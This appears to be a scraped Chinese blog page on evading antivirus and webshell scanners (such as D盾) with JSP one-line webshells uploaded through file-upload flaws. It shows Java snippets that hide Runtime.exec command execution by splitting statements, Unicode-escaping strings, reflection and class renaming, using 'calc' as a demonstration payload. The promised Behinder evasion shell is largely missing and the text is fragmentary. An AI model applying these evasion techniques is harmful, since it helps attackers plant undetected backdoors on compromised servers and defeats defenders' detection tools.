Java安全之Webshell免杀 | 您所在的位置:网站首页 › jsp的一句话木马 › Java安全之Webshell免杀 |
Java安全之Webshell免杀
当遇到文件上传时,如果网站存在查杀软件,我们上传的一句话木马会被直接秒杀,这时候就需要做一下免杀,绕过查杀软件的检测。 思路我的想法是先拆分,然后分别检验那些语句符合杀软的规则,然后利用语言的特性去修改语句,从而绕过杀软的规则 了解特性做Java的Webshell免杀首先我们要了解Java和jsp的语言特点 拆分和合并这里是举个栗子,通过拆分或合并可以绕过一些规则,例如D盾检测冰蝎马的request.getReader().readLine(),但是拆分之后它就检测不到 System.out.println(Runtime.getRuntime().exec("calc")); 上下一样 Runtime rt = Runtime.getRuntime(); Process a = rt.exec("calc"); System.out.println(a); Unicode编码jsp支持unicode编码,如果杀软不支持unicode查杀的话,基本上都能绕过 \u0022\u0063\u0061\u006c\u0063\u0022 在jsp中就是 "calc"这里是要是利用jspx的进行进行免杀,jspx其实就是xml格式的jsp文件 替换成利用java换行的特性绕过杀软的规则 Runtime run = Runtime.getRuntime(); 上面与下面的java代码是一样可执行的 Runtime run = Runtime.getRuntime();杀软的规则有检测关键词和实例化类的检测,这时候我们可以利用Java反射的特性来绕过 System.out.println(Runtime.getRuntime().exec("calc")); 就等于 String jlr = "java.l"+"ang.R"+"untime"; Class clazz = Class.forName(jlr); //初始化Runtime类 Object rt = clazz.getMethod("getRuntime").invoke(clazz); //调用Runtime类中的getRuntime方法得到Runtime类的对象 clazz.getMethod("exec",String.class).invoke(rt,"calc.exe"); //再次使用invoke调用Runtime类中的方法时,传递我们获得的对象,这样就可以调用相当于给类改了名,试了试可以绕过某些杀软的规则 class aaa extends bbb{} aaa a1 = new aaa(); 冰蝎免杀马自己根据D盾的检测,写了一个马,能过一些检测,可以参考一下 原马: 免杀马: String pp =\u0022\u0050\u004f\u0053\u0054\u0022; |
CopyRight 2018-2019 实验室设备网 版权所有 |